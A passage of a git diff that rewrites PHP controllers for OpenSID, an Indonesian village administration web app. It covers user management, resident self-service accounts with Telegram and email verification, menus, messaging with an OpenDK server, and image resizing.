$page = $this->input->get('page'); + $list_pendaftar_mandiri = $this->mandiri_model->list_data_ajax($cari, $page); + echo json_encode($list_pendaftar_mandiri); + } + + public function archive($kat = 1, $p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->web_komentar_model->archive($id); + redirect("mailbox/index/{$kat}/{$p}/{$o}"); + } + + public function archive_all($kat = 1, $p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->web_komentar_model->archive_all(); + redirect("mailbox/index/{$kat}/{$p}/{$o}"); + } + + public function pesan_read($id = '') + { + $this->redirect_hak_akses('u'); + $this->web_komentar_model->komentar_lock($id, 1); + redirect('mailbox'); + } + + public function pesan_unread($id = '') + { + $this->redirect_hak_akses('u'); + $this->web_komentar_model->komentar_lock($id, 2); + redirect('mailbox'); + } +} diff --git a/donjo-app/controllers/Main.php b/donjo-app/controllers/Main.php index 346f5e20d..68a2102d4 100644 --- a/donjo-app/controllers/Main.php +++ b/donjo-app/controllers/Main.php @@ -1,449 +1,90 @@ -load->model(['track_model', 'grup_model']); + } + + public function index() + { + // Kalau sehabis periksa data, paksa harus login lagi + if ($this->session->periksa_data == 1) { + $this->user_model->logout(); + } + + if (isset($_SESSION['siteman']) && $_SESSION['siteman'] == 1) { + $this->track_model->track_desa('main'); + $this->load->model('user_model'); + $grup = $this->user_model->sesi_grup($this->session->sesi); + + switch ($grup) { + case $this->user_model->id_grup(UserGrup::ADMINISTRATOR): + redirect('hom_sid'); + + // no break + case $this->user_model->id_grup(UserGrup::OPERATOR): + redirect('hom_sid'); + + // no break + case $this->user_model->id_grup(UserGrup::REDAKSI): + redirect('web/clear'); + + // no break + case $this->user_model->id_grup(UserGrup::KONTRIBUTOR): + redirect('web/clear'); + + // no break + default: + $modul_awal = $this->grup_model->modul_awal($grup); + redirect($modul_awal); + } + } elseif ($this->setting->offline_mode > 0) { + // Jika website hanya bisa diakses user, maka harus login dulu + redirect('siteman'); + } else { + redirect('/'); + } + } +} diff --git a/donjo-app/controllers/Man_user.php b/donjo-app/controllers/Man_user.php index 37ce41bba..fd1b35a04 100644 --- a/donjo-app/controllers/Man_user.php +++ b/donjo-app/controllers/Man_user.php @@ -1,481 +1,238 @@ -load->library('form_validation'); + $this->form_validation->set_error_delimiters('', ''); + $this->modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'pengguna'; + $this->_set_page = ['10', '50', '100', '200']; + $this->_list_session = ['cari', 'filter', 'group']; + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + $this->session->filter = 'active'; + + redirect('man_user'); + } + + public function index($p = 1, $o = 0) + { + $this->tab_ini = 10; + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->user_model->paging($p, $o); + $data['main'] = $this->user_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->user_model->autocomplete(); + $data['status'] = [ + ['id' => 'active', 'nama' => 'Aktif'], + ['id' => 'inactive', 'nama' => 'Tidak Aktif'], + ]; + $data['user_group'] = $this->referensi_model->list_data('user_grup'); + + $this->render('man_user/manajemen_user_table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['user'] = $this->user_model->get_user($id) ?? show_404(); + $data['form_action'] = site_url("man_user/update/{$p}/{$o}/{$id}"); + } else { + $data['user'] = null; + $data['form_action'] = site_url('man_user/insert'); + } + + $data['user_group'] = UserGrup::get(['id', 'nama']); + $data['akses'] = UserGrup::getGrupSistem(); + $data['pamong'] = Pamong::selectData()->aktif()->bukanPengguna($id)->get(); + + $this->render('man_user/manajemen_user_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect('man_user'); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + + if ($value !== '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('man_user'); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->set_form_validation(); + $this->form_validation->set_rules('username', 'Username', 'is_unique[user.username]'); + $this->form_validation->set_rules('email', 'Email', 'is_unique[user.email]'); + $this->form_validation->set_rules([ + [ + 'field' => 'pamong_id', + 'label' => 'Pamong', + 'rules' => 'is_unique[user.pamong_id]', + 'errors' => [ + 'is_unique' => 'pengguna tersebut sudah ada', + ], + ], + ]); + + if ($this->form_validation->run() !== true) { + session_error(trim(validation_errors())); + redirect('man_user/form'); + } else { + $this->user_model->insert(); + + redirect('man_user'); + } + } + + private function set_form_validation() + { + $this->form_validation->set_rules('password', 'Kata Sandi Baru', 'required|callback_syarat_sandi'); + $this->form_validation->set_message('syarat_sandi', 'Harus 6 sampai 20 karakter dan sekurangnya berisi satu angka dan satu huruf besar dan satu huruf kecil'); + } + + // Kata sandi harus 6 sampai 20 karakter dan sekurangnya berisi satu angka dan satu huruf besar dan satu huruf kecil + public function syarat_sandi($str) + { + // radiisi berarti tidak sandi tidak diubah + return (bool) (preg_match('/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{6,20}$/', $str) || $str == 'radiisi'); + } + + public function update($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + if ($this->input->post('password') != '') { + $this->set_form_validation(); + } + $this->form_validation->set_rules('username', 'Username', "is_unique[user.username,id,{$id}]"); + $this->form_validation->set_rules('email', 'Email', "is_unique[user.email,id,{$id}]"); + $this->form_validation->set_rules([ + [ + 'field' => 'pamong_id', + 'label' => 'Pamong', + 'rules' => "is_unique[user.pamong_id,id,{$id}]", + 'errors' => [ + 'is_unique' => 'pengguna tersebut sudah ada', + ], + ], + ]); + + if ($this->form_validation->run() !== true) { + session_error(trim(validation_errors())); + + redirect("man_user/form/{$p}/{$o}/{$id}"); + } else { + $this->user_model->update($id); + redirect("man_user/index/{$p}/{$o}"); + } + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + $this->user_model->delete($id); + redirect("man_user/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->user_model->delete_all(); + redirect("man_user/index/{$p}/{$o}"); + } + + public function user_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->user_model->user_lock($id, 0); + redirect('man_user'); + } + + public function user_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->user_model->user_lock($id, 1); + redirect('man_user'); + } +} diff --git a/donjo-app/controllers/Mandiri.php b/donjo-app/controllers/Mandiri.php index a301b8ac5..1fcafa4b7 100644 --- a/donjo-app/controllers/Mandiri.php +++ b/donjo-app/controllers/Mandiri.php @@ -1,473 +1,282 @@ -load->model('mandiri_model'); + $this->load->library('OTP/OTP_manager', null, 'otp_library'); + $this->load->library('email', config_item('email')); + + $this->modul_ini = 'layanan-mandiri'; + $this->sub_modul_ini = 'pendaftar-layanan-mandiri'; + $this->_set_page = ['10', '50', '100']; + $this->_list_session = ['cari', 'order_by']; + $this->telegram = new Telegram(); + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + $this->session->order_by = 6; + redirect($this->controller); + } + + public function index($p = 1) + { + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['paging'] = $this->mandiri_model->paging($p); + $data['main'] = $this->mandiri_model->list_data($data['order_by'], $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->mandiri_model->autocomplete(); + + $this->render('mandiri/mandiri', $data); + } + + public function filter($filter = '', $order_by = '') + { + $value = $order_by ?: $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect($this->controller); + } + + public function ajax_pin($id_pend = '') + { + session_error_clear(); + + $this->redirect_hak_akses('u'); + $data['penduduk'] = $this->mandiri_model->list_penduduk(); + + if ($id_pend) { + $cek = $this->mandiri_model->get_penduduk($id_pend) ?? show_404(); + $data['id_pend'] = $cek['id']; + $data['form_action'] = site_url("{$this->controller}/update/{$id_pend}"); + } else { + $data['id_pend'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['tgl_verifikasi_telegram'] = $this->otp_library->driver('telegram')->cek_verifikasi_otp($data['id_pend']); + $data['tgl_verifikasi_email'] = $this->otp_library->driver('email')->cek_verifikasi_otp($data['id_pend']); + + $this->load->view('mandiri/ajax_pin', $data); + } + + public function ajax_hp($id_pend) + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("{$this->controller}/ubah_hp/{$id_pend}"); + $data['penduduk'] = $this->mandiri_model->get_penduduk($id_pend) ?? show_404(); + + $this->load->view('mandiri/ajax_hp', $data); + } + + public function ajax_verifikasi_warga($id_pend) + { + $this->redirect_hak_akses('u'); + $data['tgl_verifikasi_telegram'] = $this->otp_library->driver('telegram')->cek_verifikasi_otp($id_pend); + $data['tgl_verifikasi_email'] = $this->otp_library->driver('email')->cek_verifikasi_otp($id_pend); + $data['form_action'] = site_url("{$this->controller}/verifikasi_warga/{$id_pend}"); + $data['penduduk'] = $this->mandiri_model->get_mandiri($id_pend); + + $this->load->view('mandiri/ajax_verifikasi_warga', $data); + } + + public function verifikasi_warga($id_pend) + { + $this->redirect_hak_akses('u'); + + $post = $this->input->post(); + $pilihan_kirim = $post['pilihan_kirim']; + // TODO: Sederhanakan query ini, pindahkan ke model + $data = $this->db->from('tweb_penduduk')->select('telegram, email, nama')->where('config_id', identitas('id'))->where('id', $id_pend)->get()->row(); + + switch (true) { + case $pilihan_kirim == 'kirim_telegram': + $this->update_warga_aktif_telegram($id_pend, $data); + break; + + case $pilihan_kirim == 'kirim_email': + $this->update_warga_aktif_email($id_pend, $data); + break; + + default: + redirect($this->controller); + break; + } + } + + protected function update_warga_aktif_telegram($id_pend, $data) + { + $this->redirect_hak_akses('u'); + $this->db->trans_begin(); + + try { + // TODO: Sederhanakan query ini, pindahkan ke model + $outp = $this->db->where('config_id', identitas('id'))->where('id_pend', $id_pend)->set('aktif', true)->update('tweb_penduduk_mandiri'); + + $this->telegram->sendMessage([ + 'chat_id' => $data->telegram, + 'text' => <<nama}, + + SELAMAT AKUN LAYANAN MANDIRI ANDA SUDAH DIVERIFIKASI DAN TELAH DISETUJUI + SAAT INI ANDA SUDAH DAPAT LOGIN DI FITUR LAYANAN MANDIRI + + TERIMA KASIH. + EOD, + 'parse_mode' => 'Markdown', + ]); + + $this->db->trans_commit(); + } catch (\Exception $e) { + log_message('error', $e); + + $this->db->trans_rollback(); + + status_sukses(false); + redirect($this->controller); + } + + status_sukses($outp); + redirect($this->controller); + } + + protected function update_warga_aktif_email($id_pend, $data) + { + $this->redirect_hak_akses('u'); + $this->db->trans_begin(); + + try { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $outp = $this->db->where('config_id', identitas('id'))->where('id_pend', $id_pend)->set('aktif', true)->update('tweb_penduduk_mandiri'); + + $this->email->from($this->email->smtp_user, 'OpenSID') + ->to($data->email) + ->subject('Verifikasi Akun Layanan Mandiri') + ->set_mailtype('html') + ->message($this->load->view('mandiri/email/verifikasi-berhasil', ['nama' => $data->nama], true)); + + if (! $this->email->send()) { + throw new \Exception($this->email->print_debugger()); + } + + $this->db->trans_commit(); + } catch (\Exception $e) { + log_message('error', $e); + + $this->db->trans_rollback(); + + status_sukses(false); + redirect($this->controller); + } + + status_sukses($outp); + redirect($this->controller); + } + + public function ubah_hp($id_pend) + { + $this->redirect_hak_akses('u'); + // TODO: Sederhanakan query ini, pindahkan ke model + $outp = $this->db + ->where('config_id', identitas('id')) + ->where('id', $id_pend) + ->set('telepon', bilangan($this->input->post('telepon'))) + ->update('tweb_penduduk'); + status_sukses($outp); + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->mandiri_model->insert(); + redirect($this->controller); + } + + public function update($id_pend) + { + $this->redirect_hak_akses('u'); + $this->mandiri_model->update($id_pend); + redirect($this->controller); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h'); + $this->mandiri_model->delete($id); + redirect($this->controller); + } + + public function kirim($id_pend = '') + { + $this->redirect_hak_akses('u'); + $pin = $this->input->post('pin'); + $data = $this->mandiri_model->get_mandiri($id_pend); + $desa = $this->header['desa']; + if (cek_koneksi_internet() && $data['telepon']) { + $no_tujuan = '+62' . substr($data['telepon'], 1); + + $pesan = 'Selamat Datang di Layanan Mandiri ' . ucwords(setting('sebutan_desa') . ' ' . $desa['nama_desa']) . ' %0A%0AUntuk Menggunakan Layanan Mandiri, silahkan kunjungi ' . site_url('layanan-mandiri') . '%0AAkses Layanan Mandiri : %0A- NIK : ' . sensor_nik_kk($data['nik']) . ' %0A- PIN : ' . $pin . '%0A%0AHarap merahasiakan NIK dan PIN untuk keamanan data anda.%0A%0AHormat kami %0A' . setting('sebutan_kepala_desa') . ' ' . $desa['nama_desa'] . '%0A%0A%0A' . $desa['nama_kepala_desa']; + + redirect("https://api.whatsapp.com/send?phone={$no_tujuan}&text={$pesan}"); + } + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Menu.php b/donjo-app/controllers/Menu.php index ddafdbe4d..12b7b8849 100644 --- a/donjo-app/controllers/Menu.php +++ b/donjo-app/controllers/Menu.php @@ -1,449 +1,196 @@ -load->model('web_menu_model'); + $this->load->model('web_artikel_model'); + $this->load->model('web_kategori_model'); + $this->load->model('kelompok_model'); + $this->load->model('suplemen_model'); + $this->load->model('program_bantuan_model'); + $this->load->model('keuangan_model'); + $this->load->model('kelompok_model'); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'menu'; + } + + public function clear($parrent = 0) + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + $this->session->parrent = $parrent; + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['tip'] = 1; // Hanya untuk Navigasi + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['menu_utama'] = ($data['parrent'] != 0) ? $this->web_menu_model->get_menu($data['parrent']) : null; // Untuk dapatkan nama menu utama + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->web_menu_model->paging($p); + $data['main'] = $this->web_menu_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->web_menu_model->autocomplete($data['cari']); + $this->render('menu/table', $data); + } + + public function ajax_menu($id = '') + { + $this->redirect_hak_akses('u'); + + $parrent = $this->session->parrent; + + $data['link_tipe'] = $this->referensi_model->list_ref(LINK_TIPE); + $data['artikel_statis'] = $this->web_artikel_model->list_artikel_statis(); + $data['kategori_artikel'] = $this->web_kategori_model->list_kategori(); + $data['statistik_penduduk'] = $this->referensi_model->list_ref(STAT_PENDUDUK); + $data['statistik_keluarga'] = $this->referensi_model->list_ref(STAT_KELUARGA); + $data['statistik_kategori_bantuan'] = $this->referensi_model->list_ref(STAT_BANTUAN); + $data['statistik_program_bantuan'] = $this->program_bantuan_model->list_program(0); + $data['kelompok'] = $this->kelompok_model->set_tipe('kelompok')->list_data(); + $data['lembaga'] = $this->kelompok_model->set_tipe('lembaga')->list_data(); + $data['suplemen'] = $this->suplemen_model->list_data(); + $data['statis_lainnya'] = $this->referensi_model->list_ref(STAT_LAINNYA); + $data['artikel_keuangan'] = $this->keuangan_model->artikel_statis_keuangan(); + $data['menu_utama'] = ($parrent != 0) ? $this->web_menu_model->get_menu($parrent) : null; // Untuk dapatkan nama menu utama + + if ($id) { + $data['menu'] = $this->web_menu_model->get_menu($id); + $data['form_action'] = site_url("{$this->controller}/update/{$id}"); + } else { + $data['menu'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $this->load->view('menu/ajax_menu_form', $data); + } + + public function search() + { + if ($cari = $this->input->post('cari')) { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect($this->controller); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->web_menu_model->insert(); + redirect($this->controller); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + $this->web_menu_model->update($id); + redirect($this->controller); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h'); + $this->web_menu_model->delete($id); + redirect($this->controller); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->web_menu_model->delete_all(); + redirect($this->controller); + } + + public function menu_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->web_menu_model->menu_lock($id, 0); + redirect($this->controller); + } + + public function menu_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->web_menu_model->menu_lock($id, 1); + redirect($this->controller); + } + + public function urut($id = 0, $arah = 0) + { + $this->redirect_hak_akses('u'); + $this->web_menu_model->urut($id, $arah); + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Modul.php b/donjo-app/controllers/Modul.php index db0dadc1d..0bf9a9188 100644 --- a/donjo-app/controllers/Modul.php +++ b/donjo-app/controllers/Modul.php @@ -1,457 +1,144 @@ -load->model(['modul_model']); + $this->modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'modul'; + $this->list_session = ['status', 'cari', 'module']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + redirect('modul'); + } + + public function index() + { + $id = $this->session->module; + + if (! $id) { + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $data['sub_modul'] = null; + $data['main'] = $this->modul_model->list_data(); + $data['keyword'] = $this->modul_model->autocomplete(); + } else { + $data['sub_modul'] = $this->modul_model->get_data($id); + $data['main'] = $this->modul_model->list_sub_modul($id); + } + + $this->render('setting/modul/table', $data); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + $data['list_icon'] = $this->modul_model->list_icon(); + if ($id) { + $data['modul'] = $this->modul_model->get_data($id); + $data['form_action'] = site_url("modul/update/{$id}"); + } else { + $data['modul'] = null; + $data['form_action'] = site_url('modul/insert'); + } + + $this->render('setting/modul/form', $data); + } + + public function sub_modul($id = '') + { + $this->session->module = $id; + + redirect('modul'); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('modul'); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + $this->modul_model->update($id); + $parent = $this->input->post('parent'); + if ($parent == 0) { + redirect('modul'); + } else { + redirect("modul/sub_modul/{$parent}"); + } + } + + public function lock($id = 0, $val = 1) + { + $this->redirect_hak_akses('u'); + $this->modul_model->lock($id, $val); + redirect($_SERVER['HTTP_REFERER']); + } + + public function ubah_server() + { + $this->redirect_hak_akses('u'); + $this->setting_model->update_penggunaan_server(); + redirect('modul'); + } + + public function default_server() + { + $this->redirect_hak_akses('u'); + $this->modul_model->default_server(); + $this->clear(); + } +} diff --git a/donjo-app/controllers/Notif.php b/donjo-app/controllers/Notif.php index 170a7739f..95544c12a 100644 --- a/donjo-app/controllers/Notif.php +++ b/donjo-app/controllers/Notif.php @@ -1,457 +1,46 @@ -notif_model->update_notifikasi($this->input->post('kode'), $this->input->post('non_aktifkan')); + } +} diff --git a/donjo-app/controllers/Notif_web.php b/donjo-app/controllers/Notif_web.php index 2107441b6..c74b4daff 100644 --- a/donjo-app/controllers/Notif_web.php +++ b/donjo-app/controllers/Notif_web.php @@ -1,489 +1,63 @@ -load->model('notif_model'); + } + + public function inbox() + { + $j = $this->notif_model->inbox_baru($tipe = 2, $this->is_login->nik); + if ($j > 0) { + echo $j; + } + } + + public function surat_perlu_perhatian() + { + $j = $this->notif_model->surat_perlu_perhatian($this->is_login->id_pend); + if ($j > 0) { + echo $j; + } + } +} diff --git a/donjo-app/controllers/Opendk_pesan.php b/donjo-app/controllers/Opendk_pesan.php index b80669442..6233ea237 100644 --- a/donjo-app/controllers/Opendk_pesan.php +++ b/donjo-app/controllers/Opendk_pesan.php @@ -1,513 +1,254 @@ -modul_ini = 'opendk'; + $this->sub_modul_ini = 'pesan'; + $this->_list_session = ['cari', 'status']; + } + + public function cek() + { + // cek setting server ke opendk + if (empty($this->setting->api_opendk_key)) { + $message = "Pengaturan sinkronisasi masih kosong. Periksa Pengaturan Sinkronisasi di Sinkronisasi ()"; + + return view('admin.opendkpesan.error', compact('message')); + } + + return true; + } + + public function index() + { + if (! $this->cek()) { + return; + } + + get_pesan_opendk(); + $selected_nav = 'pesan'; + $status = $this->session->status; + $pesan = Pesan::orderBy('sudah_dibaca', 'ASC') + ->orderBy('created_at', 'DESC'); + $cari = null; + + if ($this->session->status != null) { + $pesan->where('sudah_dibaca', '=', $this->session->status); + } + + if ($this->session->cari) { + $cari = $this->session->cari; + $pesan->whereHas('detailPesan', static function ($q) use ($cari) { + $q->where('text', 'LIKE', "%{$cari}%"); + }); + $pesan->orWhere('judul', 'LIKE', "%{$cari}%"); + $pesan->with('detailPesan', static function ($q) use ($cari) { + $q->where('text', 'LIKE', "%{$cari}%"); + }); + } else { + $pesan->with(['detailPesan']); + } + + $pesan->where('diarsipkan', '=', 0); + $pesan = $pesan->paginate(25); + + return view('admin.opendkpesan.index', compact('pesan', 'selected_nav', 'status', 'cari')); + } + + public function clear($return = '') + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = 50; + redirect($this->controller . "/{$return}"); + } + + public function filter($filter, $return = '') + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect($this->controller . "/{$return}"); + } + + public function search($slash = '') + { + $cari = alfanumerik_spasi($this->request['cari']); + $slash = alfanumerik_spasi($slash); + + if ($cari != '') { + $this->session->cari = $cari; + } else { + $this->session->unset_userdata('cari'); + } + redirect($this->controller . "/{$slash}"); + } + + public function show($id) + { + $pesan = Pesan::with(['detailPesan']) + ->where('id', '=', $id) + ->first(); + + $form_action = route('opendk_pesan.insert.' . $id); + Pesan::where('id', '=', $id) + ->update([ + 'sudah_dibaca' => 1, + ]); + + return view('admin.opendkpesan.show', compact('pesan', 'form_action')); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $form_action = route('opendk_pesan.insert'); + + return view('admin.opendkpesan.form', compact('action', 'form_action')); + } + + public function insert($id = null) + { + $this->redirect_hak_akses('u'); + $request = static::validate($this->request); + + try { + $config = $this->header['desa']; + + //cek id pesan + if ($id == null) { + $params = [ + 'kode_desa' => kode_wilayah($this->header['desa']['kode_desa']), + 'pesan' => $request['pesan'], + 'judul' => $request['judul'], + 'pengirim' => 'desa', + 'nama_pengirim' => $this->setting->sebutan_desa . ' ' . $config['nama_desa'] . ' - ' . $this->session->nama, + ]; + } else { + $params = [ + 'pesan_id' => $id, + 'pesan' => $request['pesan'], + 'kode_desa' => kode_wilayah($this->header['desa']['kode_desa']), + 'pengirim' => 'desa', + 'nama_pengirim' => $this->setting->sebutan_desa . ' ' . $config['nama_desa'] . ' - ' . $this->session->nama, + ]; + } + + $client = new \GuzzleHttp\Client(); + $response = $client->post("{$this->setting->api_opendk_server}/api/v1/pesan", [ + 'headers' => [ + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "Bearer {$this->setting->api_opendk_key}", + ], + 'form_params' => $params, + ])->getBody()->getContents(); + $data_respon = json_decode($response); + + if ($data_respon->status == false) { + redirect_with('error', $data_respon->message); + } else { + redirect_with('success', 'pesan berhasil terkirim'); + } + } catch (ClientException $cx) { + log_message('error', $cx); + redirect_with('error', 'error : ClientException'); + } + } + + public function arsip() + { + $selected_nav = 'arsip'; + $pesan = Pesan::where('diarsipkan', '=', '1')->with(['detailPesan'])->paginate(25); + + return view('admin.opendkpesan.index', compact('pesan', 'selected_nav')); + } + + public function arsipkan() + { + $this->redirect_hak_akses('h'); + + $array = json_decode($this->request['array_id']); + + Pesan::whereIn('id', $array)->update([ + 'diarsipkan' => 1, + ]); + redirect_with('success', 'pesan berhasil diarsipkan'); + } + + // Hanya filter inputan + protected static function validate($request = []) + { + return [ + 'judul' => alfanumerik_spasi($request['judul']), + 'pesan' => $request['pesan'], + ]; + } + + public function getPesan() + { + try { + $response = $this->client->post("{$this->setting->api_opendk_server}/api/v1/pesan", [ + 'headers' => [ + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "Bearer {$this->setting->api_opendk_key}", + ], + 'form_params' => [ + 'kode_desa' => kode_wilayah($this->header['desa']['kode_desa']), + + ], + ]) + ->getBody(); + } catch (ClientException $cx) { + log_message('error', $cx); + } + + return $response ?? null; + } +} diff --git a/donjo-app/controllers/Optimasi_gambar.php b/donjo-app/controllers/Optimasi_gambar.php index eddd220e2..f0fa4ec70 100644 --- a/donjo-app/controllers/Optimasi_gambar.php +++ b/donjo-app/controllers/Optimasi_gambar.php @@ -1,537 +1,109 @@ -modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'optimasi-gambar'; + $this->header['kategori'] = 'Optimasi'; + } + + public function index() + { + $judul = 'Optimasi Gambar'; + $folders = $this->get_folders(LOKASI_UPLOAD); + + return view('admin.optimasi_gambar.index', compact('folders')); + } + + public function get_image($dir = null) + { + if (! $dir) { + $folders = $this->get_folders(LOKASI_UPLOAD)->map(static fn ($dir) => LOKASI_UPLOAD . $dir); + } else { + $folders = [LOKASI_UPLOAD . $dir]; + } + $files = collect(); + + foreach ($folders as $path) { + $images = collect(array_diff(scandir($path), ['.', '..']))->filter(static function ($file) use ($path) { + $image_size = getimagesize($path . DIRECTORY_SEPARATOR . $file); + if ($image_size != false && ($image_size[0] > '880' || $image_size[1] > '880')) { + return $file; + } + })->map(static fn ($file) => $path . DIRECTORY_SEPARATOR . $file); + $files = $files->merge($images); + } + + return json([ + 'status' => true, + 'data' => $files, + ]); + } + + public function get_folders($path) + { + return collect(array_diff(scandir($path), ['.', '..'])) + ->filter(static fn ($dir) => is_dir($path . DIRECTORY_SEPARATOR . $dir)); + } + + public function resize() + { + try { + $request = $this->input->post(); + ResizeGambar($request['file'], $request['file'], ['width' => 880, 'height' => 880]); + } catch (Exception $e) { + return json([ + 'status' => false, + 'message' => $e->getMessage(), + ]); + } + + return json([ + 'status' => true, + 'message' => 'berhasil', + ]); + } +} + +// End of file Optimasi_gambar.php +// Location: .//D/kerjoan/web/opendesa/premium/donjo-app/controllers/Optimasi_gambar.php diff --git a/donjo-app/controllers/Pelanggan.php b/donjo-app/controllers/Pelanggan.php index 559b664ef..be19b9fe6 100644 --- a/donjo-app/controllers/Pelanggan.php +++ b/donjo-app/controllers/Pelanggan.php @@ -1,489 +1,44 @@ -load->model(['pendapat_model']); + $this->modul_ini = 'layanan-mandiri'; + $this->sub_modul_ini = 'pendapat'; + } + + public function index() + { + $tipe = $this->session->flashdata('tipe'); + $data['list_pendapat'] = unserialize(NILAI_PENDAPAT); + + foreach ($data['list_pendapat'] as $key => $value) { + $data["pilihan_{$key}"] = $this->pendapat_model->get_pilihan($tipe, $key); + } + + $data['main'] = $this->pendapat_model->get_pendapat($tipe); + $data['detail'] = $this->pendapat_model->get_data($tipe); + + $this->render('pendapat/index', $data); + } + + public function detail(int $tipe = 1) + { + $this->session->set_flashdata('tipe', $tipe); + + redirect('pendapat'); + } +} diff --git a/donjo-app/controllers/Penduduk.php b/donjo-app/controllers/Penduduk.php index e4e910ca3..b9ac7a05f 100644 --- a/donjo-app/controllers/Penduduk.php +++ b/donjo-app/controllers/Penduduk.php @@ -1,481 +1,1124 @@ -load->model(['penduduk_model', 'keluarga_model', 'wilayah_model', 'web_dokumen_model', 'program_bantuan_model', 'lapor_model', 'referensi_model', 'penduduk_log_model', 'impor_model', 'ekspor_model']); + + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'penduduk'; + $this->_set_page = ['50', '100', '200', [0, 'Semua']]; + $this->_list_session = ['filter_tahun', 'filter_bulan', 'status_hanya_tetap', 'jenis_peristiwa', 'filter', 'status_dasar', 'sex', 'agama', 'dusun', 'rw', 'rt', 'cari', 'umur', 'umur_min', 'umur_max', 'umurx', 'pekerjaan_id', 'status', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', 'judul_statistik', 'cacat', 'cara_kb_id', 'akta_kelahiran', 'status_ktp', 'id_asuransi', 'status_covid', 'bantuan_penduduk', 'log', 'warganegara', 'menahun', 'hubungan', 'golongan_darah', 'hamil', 'kumpulan_nik', 'suku', 'bpjs_ketenagakerjaan', 'nik_sementara', 'tag_id_card']; + } + + private function clear_session() + { + $this->session->unset_userdata($this->_list_session); + $this->session->status_dasar = 1; // default status dasar = hidup + $this->session->per_page = $this->_set_page[0]; + } + + public function clear() + { + $this->clear_session(); + redirect($this->controller); + } + + public function index($p = 1, $o = 1) + { + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->_list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } else { + $data[$list] = $this->session->{$list} ?: ''; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = 